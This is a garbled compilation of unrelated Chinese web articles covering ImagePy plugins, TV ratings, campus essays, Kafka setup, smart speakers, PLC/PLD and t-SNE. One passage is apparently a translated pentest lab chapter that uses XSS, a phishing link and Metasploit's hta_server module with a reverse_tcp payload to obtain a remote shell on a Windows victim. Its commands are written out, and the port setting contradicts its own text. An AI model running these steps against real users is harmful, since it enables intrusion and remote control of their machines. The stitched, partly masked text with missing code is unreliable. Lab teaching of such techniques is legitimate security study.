  by=[ para[ 'major' ] , para[ 'minor' ] ]

  data.sort_values( by=[ i for i in by if i !='None' ],

  axis=0 , ascending=not para[ 'descend' ] , inplace=True )

  表排序示例

  表是如何工作的

  与滤波器相同,表中还有标题(title)、注释(note)、参数(para)、视图(view)等参数。当插件运行时,框架将根据和视图生成一个对话框。在选择 para 之后,将它们与当前表一起传递给 run 函数处理。表数据是当前表中的一个 pandas.DataFrame 对象,存储在 tps 中。还可以从 tps 检索其他信息,例如 tps.rowmsk、tps.colmsk,以获得当前选定表的行和列掩码。

  其他类型的插件

  上述的滤波器和表是两个最重要的插件,但是 ImagePy 也支持一些其他类型的插件扩展。目前它支持的插件有九个,它们是:

  滤波器:主要用于图像处理;

  simple:类似于滤波器,但关注图像的整体特性,如 ROI 的操作、假彩色的操作、面积的测量、或整个图像的三维分析、可视化等;

  free:独立于图像的操作。用于打开图像、关闭软件等;

  tool:使用鼠标在图表上进行交互,并在工具栏上显示小图标,如画笔;

  table:对表进行操作,如统计分析、排序、绘图等;

  widget:显示在面板中的小部件,如右侧的导航栏、宏记录器等;

  markdown:标记语言,单击时,将弹出一个单独的窗口来显示文档;

  macros:用于串行固定操作过程的命令序列文件;

  workflow:结合宏和 markdown 创建交互式指导过程。

  动机与目标

  python 是一种简单、优雅、强大的语言,并且具有非常丰富的科学计算相关的第三方库。一方面,基于通用矩阵结构和相应的规则,基于 numpy 的 scipy、scikit-image、scikit-learning 等科学计算库给科学研究带来了极大的便利。另一方面,通过科学计算、图像处理,可以高效准确地解决生物学、材料科学等科学研究中越来越多的问题。

  然而,仍然有许多研究人员缺乏编程技巧。因此,让更多的研究人员能够使用基于 numpy 的科学计算库是至关重要的。ImagePy 使不是程序员研究人员也能使用计算机进行科学计算,因此他们不需要关注 UI 和交互设计,只需要关注算法本身,最终加速开源工具构建甚至商业产品的孵化。同时,这些工具可以让更多不善于编程的人获取、推广和普及图像处理、统计学等科学知识。

  受众研究中心

  公众号ID:cuc-arc

  关注

  编者按

  12月26日,国家广播电视总局宣布广播电视节目收视综合评价大数据系统基本建成并开通试运行。这一综合评价系统主要通过建立与 *** 传输机构之间的安全通道,汇聚大样本用户收视行为数据,经清洗、转换、分析与挖掘,输出开机用户数、观看用户数、收视率、市场占有率等30项核心指标,许多业内人士都将其视作出传媒、影视行业的一个重要节点,不过这套大数据系统还有诸多优化和完善之处。

  五大优势从源头解决传统收视问题

  据介绍,收视综合评价大数据系统有五点显著优势:样本多、覆盖广,超规模海量信息源;大数据、云计算,实时处理精准到户;防操纵、抗污染,解决收视造假;多维度、全方位,综合评价引领发展;全媒体、开放性,面向未来全新定位。

  全新大数据系统的更大变化是改变了传统的数据采集方式,从过去的样本户抽样调查,到如今逐步实现样本全覆盖,让覆盖对象范围更为客观。传统收视率调查存在样本户规模合理性存疑,进一步反映人口收视行为的能力有限,而全新系统发挥出大数据全样本、超规模海量信息源的优势,从根本上解决了收视率统计数据易存在偏差的问题。

  原有的抽样收视率调查中,污染样本户是收视率造假的主要手段,造假成本低,效果却十分显著,一个样本户,都能给收视排名带来巨 *** 动,这也是收视造假屡禁不止的原因。全新的大数据系统全流程自动化、封闭化处理,不存在人工干预的环节,因此可有效防范人为操纵。

  新系统打破“唯收视论”神话

  在发布会上,广播电视规划院院长余英介绍了大数据系统的基本情况。余英认为:“在收视渠道多元化的今天,传统的收视率调查已经无法反映多渠道、多方式的新型用户收看行为。”新的系统将以对节目的综合评价取代原有的“收视率”。既可以看出节目在观众中的热度,也会对节目从传播力、引导力、影响力、公信力等多维度进行建模分析。此外,新系统还会引入人工智能自学习的技术,按照专业级和大众级,对数据进行分层的处理和评定,以此构建全方位的节目综合评价模型。

  收视综合评价大数据系统仍待完善

  国家广播电视总局党组成员、副局长高建民在讲话中透露,在大数据系统开通试运行后,针对收视调查数据存在的突出问题,总局近期还将出台全面规范管理的意见。而收视综合评价数据的发布形式、周期以及范围等行业所关心的诸多问题,都在总局的工作筹划之中,或也将在未来发布的指导性文件中公布。

  在一些专家看来,这套大数据系统还有诸多优化和完善之处。中国传媒大学有关专家认为:“目前这套系统主要反映数字有线电视和IPTV的收视情况,尚未覆盖包括OTT在内的其他多种收视情况,从代表性和全面性来说还有提升的空间。另外,所测量的主要是户收视数据,而非以人为单位的收视数据,应用范围也有待拓展。”

  另外,也有专家认为,“系统刚刚上线,业界尚不熟悉,系统的运作应释放必要的透明度,也需要在实践中建立自己的公信力。”

  技术的进化包含着人们对理想生活的想象,但我们对大数据技术的应用仍需保有一份理性思考,收视大数据只能看见前台数字,但对于背后的用户无法进行个体描摹,如何将大数据发挥出它应有的价值,通过庞大的用户基数来实现盈利是收视大数据系统进一步要考虑的问题。

  注:本期内容参考影艺毒舌、看电视、传媒头条等发布的内容

  本期内容由“受众研究中心”编辑整理,欢迎分享至朋友圈,其他媒体或公众号转载须获得授权。

  编辑:高湘宁

  责编:李忠利

  监制:刘燕南

  翻译来自:掣雷小组

  成员信息:

  thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt

  标记红色的部分为今日更新内容。

  第五章、使用跨站脚本攻击客户端

  5.0、介绍

  5.1、使用浏览器绕过客户端控制

  5.2、识别跨站脚本漏洞

  5.3、利用XSS获取Cookie

  5.4、利用DOM XSS

  5.5、利用BeEF执行xss攻击

  5.6、从Web存储中提取信息

  5.7、使用ZAP测试WebSokets

  5.8、使用XSS和Metasploit获取远程shell

  5.8、使用XSS和Metasploit获取远程shell

  在前几章中,我们知道了攻击者可以使用XSS提取用户信息凭证,然而,它的威力可不止于此,只要稍加一些社会工程学,攻击者就可以使用XSS来欺骗用户下载执行恶意文件,从而进一步控制主机和内网。

  在本章节中,我们将学的使用XSS在目标计算机上远程执行命令。

  环境准备

  1.vm_1漏洞系统BodgeIt;

  2.Windows7虚拟机;

  实战演练

  我们要做是用XSS使客户端的Windows7的浏览器打开并执行托管在Kali Linux上的恶意HTA文件。

  1.打开Metasploit控制台:

  msfconsole

  2.启动后,使用以下命令加载exploit模块和payload:

  use exploit/windows/misc/hta_server

  set payload windows/shell/reverse_tcp

  3.设置server的监听端口为8880:

  set srvport 8888

  4.设置本地监听端口为12345:

  set lport 12345

  show options

  5.现在我们运行exploit等待客户端连接:

  run

  注意服务器启动时给出的信息,Local IP给出了访问HTA文件的方式。(就像是:k0Pjsl1tz2cI3Mm.hta)

  6.现在切换到Windows虚拟机,打开IE浏览器

  7.假设攻击者发送了一封包含链接的钓鱼电子邮件,

  

  src="">

  给受害者,在IE中打开它

  8.如果你的骗人的手段足够高,就可以使得用户接受不安全警告下载执行恶意文件:

  9.当提示运行、保存或者取消时,选择运行HTA文件

  10.现在切换回Kali,你就可以在控制台中看到Metasploit已经成功收到来自客户端的负载请求并且建立了Shell连接。

  11.在我们这个例子中,Metasploit建立的会话在2上,我们可以使用Session命令查看详细信息

  12.使用session -i 2命令,你就会跳入Windows命令窗口下。执行ipconfig命令来查看受害者的IP信息

  原理剖析

  HTA是可以不受网页浏览器安全模式的限制来执行程序,它是一种HTML应用程序。

  我们刚才使用Metasploit生成恶意的HTA文件并开启本地服务来托管它,我们的恶意文件包含一个 反向shell,反向shell是一个程序,当受害者执行它时,它将连接到攻击者的服务器,而不是在受害者中打开一个端口来等待连接传入,这也就是为什么它被称为反向连接的原因。当连接完成时,一个远程shell就建立好了。

  在上面的例子中,我们使用8888作为服务器的监听端口,12345作为漏洞反向连接的监听端口,然而在实际的应用场景中,我们应该使用较为低的端口,这样可以较为安全,SSH的22端口就是个不错的选择。

  自

  九月份来西安,今天大概是第二次看到西安的雪。老同学们都说是”雪落长安“。似乎是有一点与南方不同的味道。不知不觉,三个月的时间如白驹过隙。越来越多的人在我耳边说起期末考试,回家,寒假,还有他们自己的安排。有的人要在学校留几天,为了竞赛;有的人想考完了直奔火车车站,家总是吸引着在外的游子。

  三个月的时间,大学生活好像也不过如此。从高考结束的暑假继承下来的臭毛病似乎有点难改掉。

  “每天按着课表,周末也不曾出门。”

  “就像是高三的复刻,只是没人监督了。”

  “编程还是挺有意思的,有时候十一点半灯灭了,网断了,思路不想断啊,还是想编完了再睡觉。”

  人 来 人 往

  所有的ddl还有期末考试将最终如期而至,不论你抗拒还是期盼,是畏首畏尾还是志气满满,大一上半学期就要在不远的时光里踱过你日历上的倒计时。

  至于这些天来,收获的是编程的“奇巧淫技”,看懂了微积分,还是一个喜欢的人陪伴的冬天,每个人都会有一个能让自己满意的答案吧。

  雪

  西电

  白茶清欢无别事

  我在等风也等你

  文案|朱 锋

  排版|李盖杰

  部分图片源自公众号 西电青年

  Q:有些人担心人工智能将成为一种威胁,你害怕机器人统治世界吗?

  A:我认为可能存在有两种威胁。

  一是机器人会抢夺人类的工作,但我不认为这是一个很大的威胁,科技将为人们创造新的就业机会。可能会有一些痛苦,他们可能需要时间来接受教育或训练,但对人类来说,我们会适应。

  第二个担忧是,机器人可能会进化出意识,然后超越我们。这在理论上是可能的,因为他们已经计算得比我们快得多,但他们仍然没有任何意识,一定存在一些我们不知道的奥秘,就像一台没有装对软件的电脑。

  也有些人说,机器有机器的权利,就像人类有人权一样。他们有变得更聪明的权力,我们不应该让机器实现人类的价值体系。也许有一天,机器会变得有自我意识,他们也应该有自己的权利。

  我认为,可能是,但那将是一个新物种。为什么我们要煞费苦心去创造一个新的物种呢?地球上有如此多的人仍在遭受痛苦和饥饿,许多物种仍然面临灭绝,为什么要去创造新的物种呢?我认为目前围绕这一问题的讨论是非常混乱的。

  看到题目,我想很多人一定十分的好奇吧!毕竟现在虽然推出了很多的APP,但是跟缴税有关的APP还真的从来没有见过,也就是说,这是一个很新颖的概念,也是一个让人感到好奇的概念。那么,接下来,就请大家跟随着小编的步伐一起来深入的了解一下这个APP吧!

  其实,这个APP建立的初衷就是为了能够让更多的人对"税"这个词更加的了解,能够真正的关于"税"的知识,同时也能够方便大家缴税和退税。不得不说,这个APP确实是十分有用的。之一,能够真正的让大家了解自己每个月或者是做生意缴纳的税费到底去了哪里,让大家对税了解的更加深入一些。而且,还有一个比较重要的地方了,那就是能够真正的可以让大家在这个APP上缴税,退税。

  毕竟这个APP是实名的,也就是说一个人只能注册一个号,所以大家就可以在注册完之后在上面进行缴税的任务。怎么样?听到这儿我相信大家一定是十分心动的吧!毕竟有时候大家需要交税或者是有一些特殊的税款需要退的时候还需要去相关的部门,需要抽出比较多的时间,不是很划算。但是,有了这个APP之后,大家就可以在这个APP上进行操作,可以说是很方便啦!

  更让人感到惊奇的是,这个APP已经在推广啦!大家甚至不需要去搜索,只需要打开咱们手机里面自带的下载功能就能够找到,真的是很方便我想还有一些人可能会对这个APP的安全产生质疑。毕竟很多人会觉得,如果有别人拿了你的手机,那么是不是就可以很简单的知道你的税务情况,知道你的个人情况呢?其实这样的情况是不会发生的。因为考虑到税对于每个人的重要性,暴露了税务会对每个人产生的影响,所以在建立这个APP的时候,就对它的安全性特别的重视了。我们如果想要注册这个APP的话,需要找一个光线很好的地方进行人脸部的识别,这也是为了保证注册的安全。

  而且,每一次重新登陆,都需要人脸识别,也就是说,别人就算是拿走了你的手机,他也不能依靠这个手机了解看到你的税务,更不可能使用你的手机所绑定的APP!怎么样?说到这儿,大家有没有对这个APP十分的喜欢呢?赶紧快下载一个试一试吧!

  当2018年的日历翻至尾声

  无数铭记的瞬间在脑海中回荡

  过去的一年里,我们凝聚力量,奋发图强

  在科技创新的道路上不断前行

  岁末回首 词述一年

  叹曙韵内敛,感流光暗藏

  数得清的是辉煌成就

  说不尽的是奋斗瞬间

  接下来让我们细数

  属于中科曙光的

  2018年度十大关键词

  ↓↓↓

  关键词一:先进计算

  关键词二:第九次夺冠

  关键词三:硅立方

  关键词四:赋能数字经济

  关键词五:超级计算

  关键词六:智能制造

  关键词七:大数据智能

  关键词八:工业互联网

  关键词九:城市云

  关键词十:人工智能

  感喟过去,憧憬未来

  雄关漫道,自强者行

  2019年,我们将不忘初心,不懈求索

  曙光的未来 邀您共同见证

  互动时刻

  2018年即将过去,如果用一个词来形容你的2018,你会以什么来做总结呢?以及为什么会选择这个词?

  欢迎留言与我们分享,小编将在留言中选择最为精彩的一条,送上曙光定制新年礼物一份哦。

  最后,祝大家元旦快乐。

  2019,你好!

  *本次互动最终解释权归中科曙光所有。

  12月29日,平台迎来一批特别的“客人”——九里峰景民主实验小学的学生。

  为了开阔学生的视野,培养学生爱科学、学科学的兴趣,学校特组织学生到“徐州市人工智能产业基地”——鼓楼云创科技园参观、学习。微软“云暨移动技术孵化计划”-徐州云暨移动应用孵化平台,作为园区人工智能产业龙头企业的代表,也是本次参观、学习、体验的其中一站。

  学生参观平台现场图

  上午9点半,200多名九里峰景民主实验小学的学生走进鼓楼云创科技园。寒风微冷,却挡不住学生们对智能科技体验的热情。而平台的小伙伴们,也已早早地准备好了有趣的体验项目——Xbox“海上摩托”体感游戏,等待他们享受身临其境的游戏 *** 。

  学生操作、体验Xbox

  路演中心才艺表演

  在等待体验Xbox的间隙,小朋友们在路演中心进行了才艺表演,唱歌、舞蹈、大合唱,棒棒的才艺,大方的举止,让小编不得不感慨,现在的小朋友们真是多才多艺!

  体验活动现场

  一个多小时的人工智能教育体验活动很快就结束了,很开心今天和这些小朋友一起,重新体验并学习科技带给生活的便利和乐趣,我们也希望通过这次体验之行,小朋友可以了解、认识人工智能,激发创新思维,并爱上科技,爱上人工智能。

  准备机器

  准备3台机器:

  分别安装上JDK,并配置好JAVA_HOME,CLASSPATH,PATH等。

  Zookeeper配置

  机器kafka1:

  下载好zookeeper和kafka,然后开始修改配置:

  :

  zk相关参数可以参考我之前写的《ZooKeeper快速上手》。

  然后再主目录下建立 ,并新建文件 ,编辑内容:

  kafka2和kafka3机器配置几乎相同,除了 不同,kafka2是2,kafka3是3。

  启动结果:

  Kafka配置

  以kafka1机器为例,修改 :

  然后在主目录下建立 。

  其他机器上的配置几乎一样,除了 ,kafka2上是2,kafka3上是3。

  启动:

  创建一个分布式的Topic

  回到我们自己的PC上:

  连接到Zookeeper上看看配置信息:

  至此,我们完成了Kafka的分布式集群安装,其中用到了3和Zookeeper实例和3个Kafka实例。

  1.

  近日,喜马拉雅全新推出的智能音箱小雅Nano正式开售,10000台现货开售1分钟即被抢购一空。到了第二天下午,小雅Nano首批10万台产品就已经售罄,呈现"一货难求"的局面。短短几十个小时里,小雅Nano为什么能够成为一个现象级的产品?要知道,距离喜马拉雅发布自己的之一款智能音箱,仅仅过去了一年的时间。

  数万个语音技能,用户却喜欢"听内容"

  目前,国内智能音箱市场处在"百箱大战"的阶段。消费科技市场研究机构 Strategy Analytics 发布了《2018 年第三季度全球智能音箱市场报告》,报告显示 Q3 全球智能音箱出货量同比增长197 %,达到 2270万台,创下了历史新高。

  智能音箱的出货量一片大好,但是智能音箱的实际表现似乎不是那么令人满意。曾有用户吐槽,买回来的音箱渐渐沦为摆设,"在家里吃灰"。为了更大化地覆盖用户的使用场景,巨头曾在智能语音技能上不断加码。以Amazon的Alexa为例,目前Alexa已经拥有上万项技能,并在17年6月底达到了1.5万个。但是,用户真的需要这么多的技能吗?

  有报告显示,智能音箱用户80%的使用时间会停留在"听内容"这个关键动作上,想象中复杂、众多的场景,其实并不符合用户日常的需求。而喜马拉雅小雅AI音箱的单机月人均使用次数是其他家的12倍,活跃用户的每天使用时长高达105分钟,这就凸显了喜马拉雅对于智能音箱的使用粘性。

  内容对音箱的作用如此重要,那么,问题来了,如何把这些内容呈现给用户呢?这需要音箱具备优秀的语音交互能力,能够之一时间正确地响应用户的需求。作为小雅Nano的技术提供方,猎户语音OS成功地胜任了这个角色。

  猎户语音全链路技术助力小雅Nano成爆款

  和2017年发布的小雅AI音箱一样,猎豹移动投资的人工智能公司猎户星空的 *** 语音OS解决方案仍然在小雅Nano上得到应用,包括麦克风阵列、声音信号处理算法、语音唤醒、语音识别、自然语言理解、语音合成、生活常见语音skill等一系列语音技术和能力,用AI对喜马拉雅沉淀的用户数据进行分析,进行个性化推荐的同时,完成智能化升级。

  (小雅AI音箱)

  围绕技术深度定制,打造最强内容体验

  喜马拉雅拥有海量的音频内容,且用户喜欢的内容品类不一,导致大量的长尾内容需要被智能音箱认识和学习。为了提高用户语音点播内容的准确率,猎户星空围绕语音识别、自然语言处理、内容搜索等环节进行了语音语义一体化识别定制,将热门内容数据进行反复的学习和训练,再进行逐个的仿真测试和修复后,热门内容的点播准确率逐步提升,综合准确率超过90%,远超竞品,基本上用户喜欢的内容都能被点中。

  语音识别过程中,音箱还要兼顾到不同人群、不同家庭的表达习惯。例如,"我想听backstreet boys的larger than life"这样一句普通的点播需求,很多智能音箱就难以招架,这是因为中英文混合点播能力一直是语音技术中的难点,多语种混合Query对语言模型带来了更大的复杂度。针对这样的行业难题,猎户星空团队投入了大量的精力进行底层技术的提升,学习了大量用户中英文点播说法以后,热门英文歌曲也可以小雅音箱想听就听。

  除了准确点到想要的内容,用户有时候还会面临唤醒之后"空气突然安静"的尴尬,因为他们可能也不知道接下来该干嘛。为了打造音箱与用户之间的粘性,猎户星空团队推出了基于用户行为分析的"星云推荐系统"。即使用户没说话,唤醒后的智能音箱也会根据用户的历史行为,个性化推荐你想听的内容,部分场景的续听率已经超过70%。

  10月份,猎户语音OS还推出了基于内容的免唤醒点播功能,解决用户一直吐槽的反复唤醒的问题,该功能在发出指令后一段时间内持续有效,避免用户多次唤醒。同时小雅Nano还具备跨设备的断点续播功能,登录账号后,不管你是在喜马拉雅app上听过,还是在其他小雅音箱上听过,只要对着小雅Nano喊一声,"小雅小雅、继续播放",就可以继续听上次没听完的内容。

  结合童声的"小小雅"人设,放心让孩子听

  小雅音箱1代发布时,只要唤醒小雅,就会有一句温暖的"诶""我在",打动了无数人,后续推出的智能音箱也纷纷效仿,这是猎户语音OS领先行业首创的唤醒人声回应,再加上从上百人中挑选出来的"这个星球上最温暖的女声",经过上百小时训练的大数据拼接语音合成,火遍大江南北,猎户星空tts被广泛应用在各种智能产品中。

  针对小雅Nano智能音箱,猎户星空为其配置了最新的儿童TTS。儿童TTS采用了大数据情感拼接语音合成技术,经过真实儿童群体的投票海选,选出儿童真正喜欢的声音。儿童TTS的发音人是真正的儿童,并非市面上的成人声优模仿。经过长达4个月的录音,打造了上万句语料库,并加入大量情感语料,使得合成的声音自然、流利,深受儿童和成人用户的喜欢。

  在小雅Nano上结合童声的"小小雅"人设,是小雅Nano推出的之一款儿童人设,小朋友可以放心的收听被安全过滤的精品儿童内容,每次唤醒的时候可以听到"我来了""我在呢"这种非常可爱的应答。未来,喜马拉雅还会利用猎户星空新推出的声音克隆技术,为小雅Nano打造声音皮肤、明星主播人设等个性化体验。

  从人性的角度出发,围绕技术细节进行深度定制,猎户星空赋予了小雅Nano更多的本领,使其成为一款"真有用"的智能音箱。

  卖好一款爆品,远不止内容和技术

  简单来说,小雅Nano能够成为"爆款",除了自身优质的内容资源储备和猎户星空的技术高地,还有很重要的一点就是商业模式的创新。

  小雅Nano深度绑定了1年喜马拉雅VIP会员。在预售阶段,用户只需支付1元诚意金锁定名额,正式发售阶段再支付一个相当于喜马拉雅年度会员费的尾款198元,即可获得小雅Nano,免费畅听所有喜马拉雅的会员内容。从实际销量来看,用户对于这种模式的接受度非常高。

  喜马拉雅希望通过小雅Nano嫁接用户与内容生态,打造闭环式的会员增值服务,最终实现硬件的价值。这套以会员和价值内容为导向带动智能音箱销量的模式,将成为小雅Nano甚至整个行业的一个创新案例。

  打开微信搜索(优优金银)了解更多资讯

  近日,第八届吴文俊人工智能科学技术奖颁奖典礼在苏州举行。大连理工大学电子信息与电气工程学部控制科学与控制工程学院韩敏教授团队的“高维复杂系统的神经 *** 特征分析、建模预测及模型优化理论”成果荣获自然科学奖二等奖。

  “吴文俊人工智能科学技术奖”是我国智能科学技术领域唯一以享誉海内外的杰出科学家、数学大师、人工智能先驱、我国智能科学研究的开拓者和领军人、首届国家更高科学技术奖获得者、中国科学院院士、中国人工智能学会名誉理事长吴文俊先生命名,依托社会力量设立的科学技术奖,旨在奖励在智能科学技术领域取得重大突破,作出卓著贡献的科技工作者和管理者,具备提名推荐国家科学技术奖资格,被誉为“中国智能科学技术更高奖”,代表人工智能领域的更高荣誉象征。本届吴文俊人工智能奖在全国高校、科研院所和智能制造企业范围内评出70项获奖成果,包括杰出贡献奖1项,自然科学奖15项,技术发明奖13项,科技进步奖18项、科技进步奖企业技术创新工程项目11项、科技进步奖科普项目1项,优秀青年奖11项。

  韩敏教授是电子信息与电气工程学部模糊信息处理与机器智能研究所副所长,博士生导师,本科毕业于大连理工大学,博士毕业于日本国立九州大学,研究领域主要包括人工智能、复杂系统建模与预测、遥感影像智能信息处理等。自1993年留学开始长期坚持神经 *** 与人工智能相关课题的研究,归国后主持相关国家自然科学基金5项,对该领域的研究起到开创性的引领和推动作用。先后承担各类项目30余项,包括国家重点基础研究“973”发展计划项目子课题3项,国家高技术研究“863”发展计划项目2项,“十一五”国家科技支撑计划项目1项,企事业单位合作项目20余项。

  半岛晨报、海力网记者辛敏娟

  1.

  过去,华为旗下麒麟处理器一直采用一只火红色的麒麟作为官方形象:

  今天,华为麒麟官方宣布了全新的麒麟标识,采用立体化的拟人形象:

  新的“麒麟”眼睛大大,嘴角微弯,祥云眉毛,一颗虎牙,整体显得更加灵动,符合麒麟处理器不断进化的AI属性。

  2017年,华为发布首款人工智能手机芯片麒麟970,开创端侧AI运算行业先河。

  2018年,华为发布全新一代人工智能手机芯片麒麟980,AI智慧再次升级,双核NPU。

  打开微信搜索(优优金银)了解更多资讯

  以下是公众号2018年的全部原创文章,共计210篇。

  1 Fluent验证案例【60篇】

  2 Fluent案例【41篇】

  3 Python CFD【11篇】

  4 Fluent Meshing【11篇】

  5 Fluent二次开发【9篇】

  6 网格处理【15篇】

  7 Fluent UDF【4篇】

  8 Star CCM+案例【7篇】

  9 耦合计算【5篇】

  10 小技巧【3篇】

  11 软件速递【3篇】

  12 胡言乱语【18篇】

  13 胡思乱想【7篇】

  14 通而告之【16篇】

  2018年

  我们砥砺前行

  收获了客户沉甸甸的信任

  2019年

  我们继续奋进

  为客户提供更优质的服务

  努力成为一流人工智能应用服务商

  向支持鼓励我们的朋友致敬

  无忧链客全体员工祝您元旦快乐

  为了构建全民阅读服务体系,满足群众就近阅读文化需求,在市区文广局的指导协调下, 12月19日,位于临渭区仓程路中段景园小区附近的我市首个智能自助书房——仓程城市书房试运行。

  书房采用O2O模式,借助互联网、云计算、大数据等科技手段,突破了传统图书馆在服务时间、地域、方式等方面的局限,实现电子办证、自助借阅、刷脸借还、读者分析等优化服务。 通过关注“渭南市临渭区图书馆公众号”进行手机注册、电子办证、人脸识别、刷脸借书、在线预借等方式,不到1分钟可以办理好借阅书籍的相关事宜。

  仓程书房面积约120平方米,里面有空调、免费WiFi、电子图书等。如果想要借阅书籍、办理电子借阅证,可在自助设备上按照指引操作。普通证、儿童证一次借书2册,借期21天。老年证一次借书2册,家庭证一次借书8册,借期都是30天。如果超期未还,则会收取相应的滞纳金。试运行期间开馆时间每周二至周日,下午2时至晚上9时,周一闭馆系统维护。

  欢 迎 关 注

  共 享 精 彩

  PLC与PLD对于大多数控制行业的朋友们与单片机爱好者,都不是陌生的名词。可是您了解它们的“一字之差”吗?如果您对此感兴趣,就请看看小编今天介绍的内容。

  可编程控制器(PLC)

  可编程控制器(PLC)是计算机家族中的一员,是为工业控制应用而设计制造的。早期的可编程控制器称作可编程逻辑控制器,简称PLC,它主要用来代替继电器实现逻辑控制。随着技术的发展,这种装置的功能已经大大超过了逻辑控制的范围,因此,今天这种装置称作可编程控制器,简称PC。但是为了避免与个人计算机的简称混淆,所以将可编程控制器简称PLC(Programmable Logic Controller)。

  某型号PLC的内部电路

  PLC的主要特点

  高可靠性

  丰富的I/O接口模块

  采用模块化结构

  编程简单易学

  安装简单,维修方便

  PLC的功能

  逻辑控制

  定时控制

  计数控制

  步进(顺序)控制

  PID控制

  数据控制:PLC具有数据处理能力。

  通信和联网

  其它:PLC还有许多特殊功能模块,适用于各种特殊控制的要求,如:定位控制模块,CRT模块。

  某型号PLC控制柜

  可编程逻辑器件PLD

  PLD是可编程逻辑器件(ProgramableLogicDevice)的简称,FPGA是现场可编程门阵列(FieldProgramableGateArray)的简称,两者的功能基本相同,只是实现原理略有不同,所以我们有时可以忽略这两者的区别,统称为可编程逻辑器件或PLD/FPGA。

  PLD是电子设计领域中更具活力和发展前途的一项技术,它的影响丝毫不亚于70年代单片机的发明和使用。PLD能做什么呢?可以毫不夸张的讲,PLD能完成任何数字器件的功能,上至高性能CPU,下至简单的74电路,都可以用PLD来实现。

  PLD如同一张白纸或是一堆积木,工程师可以通过传统的原理图输入法,或是硬件描述语言自由的设计一个数字系统。通过软件仿真,我们可以事先验证设计的正确性。在PCB完成以后,还可以利用PLD的在线修改能力,随时修改设计而不必改动硬件电路。使用PLD来开发数字电路,可以大大缩短设计时间,减少PCB面积,提高系统的可靠性。

  某型号的PLD内部电路

  典型的PLD由一个“与”门和一个“或”门阵列组成,而任意一个组合逻辑都可以用“与一或”表达式来描述,所以,PLD能以乘积和的形式完成大量的组合逻辑功能.这一阶段的产品主要有PAL(可编程阵列逻辑)和GAL(通用阵列逻辑)。

  对于可编程逻辑器件,设计人员可利用价格低廉的软件工具快速开发、仿真和测试其设计。然后,可快速将设计编程到器件中,并立即在实际运行的电路中对设计进行测试。原型中使用的PLD器件与正式生产最终设备(如 *** 路由器、DSL调制解调器、DVD播放器、或汽车导航系统)时所使用的PLD完全相同。这样就没有了NRE成本,最终的设计也比采用定制固定逻辑器件时完成得更快。

  采用PLD的另一个关键优点是在设计阶段中客户可根据需要修改电路,直到对设计工作感到满意为止。这是因为PLD基于可重写的存储器技术--要改变设计,只需要简单地对器件进行重新编程。一旦设计完成,客户可立即投入生产,只需要利用最终软件设计文件简单地编程所需要数量的PLD就可以了。

  某型号PLD外观

  下面以FPGA为例进行介绍PLD的编程原理。

  编程数据存储单元以阵列形式分布在FPGA中,编程数据存储单元阵列结构如图1所示。存储单元为5管SRAM结构, 只有一根位线。其中T管为本单元控制门,由字线控制。数据以串行方式移入移位寄存器,而地址移位寄存器顺序选中存储单元的一根字线,当某列字线为高电平时, 该列存储单元的T管导通,从而与位线接通,在写信号控制下将数据移位寄存器中一个字的数据通过各列位线写入该列存储单元。

  编程数据按照一定的数据结构形式组成数据流装入FPGA中,编程数据流由开发软件自动生成。开发软件将设计转化成网表文件,它自动对逻辑电路分区、布局和布线和校验FPGA的设计,然后按PROM格式产生编程数据流并形成编程数据文件,最后还可将编程数据文件存入PROM中。

  图1 编程数据存储单元阵列结构

  现在一般把所有超过某一集成度(如1000门以上)的PLD器件都称为CPLD。 CPLD由可编程逻辑的功能块围绕一个可编程互连矩阵构成。由固定长度的金属线实现逻辑单元之间的互连,并增加了I/O控制模块的数量和功能。可以把CPLD的基本结构看成由可编程逻辑阵列(LAB)、可编程I/O控制模块和可编程内部连线(PIA)等三部分组成。

  MAX7123结构

  1.可编程逻辑阵列(LAB)

  可编程逻辑阵列又若干个可编程逻辑宏单元(Logic Macro Cell,LMC)组成, LMC内部主要包括与阵列、或阵列、可编程触发器和多路选择器等电路,能独立地配置为时序或组合工作方式。

  与或阵列结构图

  CPLD中与、或门的表示 ***

  (1)乘积项共享结构

  在CPLD的宏单元中,如果输出表达式的与项较多,对应的或门输入端不够用时,可以借助可编程开关将同一单元(或其他单元)中的其他或门与之联合起来使用,或者在每个宏单元中提供未使用的乘积项给其他宏单元使用。

  EPM7128E乘积项扩展和并联扩展项的结构图

  (2)多触发器结构

  早期可编程器件的每个输出宏单元(OLMC)只有一个触发器,而CPLD的宏单元内通常含两个或两个以上的触发器,其中只有一个触发器与输出端相连,其余触发器的输出不与输出端相连,但可以通过相应的缓冲电路反馈到与阵列,从而与其他触发器一起构成较复杂的时序电路。这些不与输出端相连的内部触发器就称为“隐埋”触发器。这种结构可以不增加引脚数目,而增加其内部资源。

  (3)异步时钟

  早期可编程器件只能实现同步时序电路,在CPLD器件中各触发器的时钟可以异步工作,有些器件中触发器的时钟还可以通过数据选择器或时钟 *** 进行选择。此外,OLMC内触发器的异步清零和异步置位也可以用乘积项进行控制,因而使用更加灵活

  2.可编程I/O单元(IOC)

  CPLD的I/O单元(Input/Output Cell,IOC),是内部信号到I/O引脚的接口部分。根据器件和功能的不同,各种器件的结构也不相同。由于阵列型器件通常只有少数几个专用输入端,大部分端口均为I/O端,而且系统的输入信号通常需要锁存。因此I/O常作为一个独立单元来处理.

  3.可编程内部连线(PIA)

  可编程内部连线的作用是在各逻辑宏单元之间以及逻辑宏单元和I/O单元之间提供互连 *** 。各逻辑宏单元通过可编程连线阵列接收来自输入端的信号,并将宏单元的信号送目的地。这种互连机制有很大的灵活性,它允许在不影响引脚分配的情况下改变内部的设计。

  总 结

  二者更大的区别就是控制逻辑,PLC为固定逻辑器件(通过改变软件实现功能),而PLD为可变逻辑器件(通过改变内部电路结构实现功能)。另外,PLC一般用于弱点驱动强电的场合(自动化专业的朋友们一定很了解),例如大型机床的控制、机械手的控制。而PLD主要用于仿真电路等集成电路前期设计工作,与弱点类控制。

  广告

  文档来源于 *** ,如有侵权,请联系删除!

  编辑:天涯 明月 刀

  引言

  本期由来自哈工大的同样热爱科普的潮汐之子为我们带来t-SNE的全方位普及,作者的研究方向为自然语言处理

  说明

  本文目的是做成一个60分钟t-SNE闪电入门简介,可能无法详细讲解原理,学术帝还请阅读原论文,或请移步我的另一篇博文,里面多了一些论文笔记,相关链接:

  

  基础篇

  认识高维空间:维数灾难

  维数灾难(curse of dimensionality):描述的是高维空间中若干迥异于低维空间、甚至反直觉的现象。该现象的详细论述可以阅读参考文献[1] ,其中通过超立方体和其内切球的推导十分精彩,这里不再赘述。

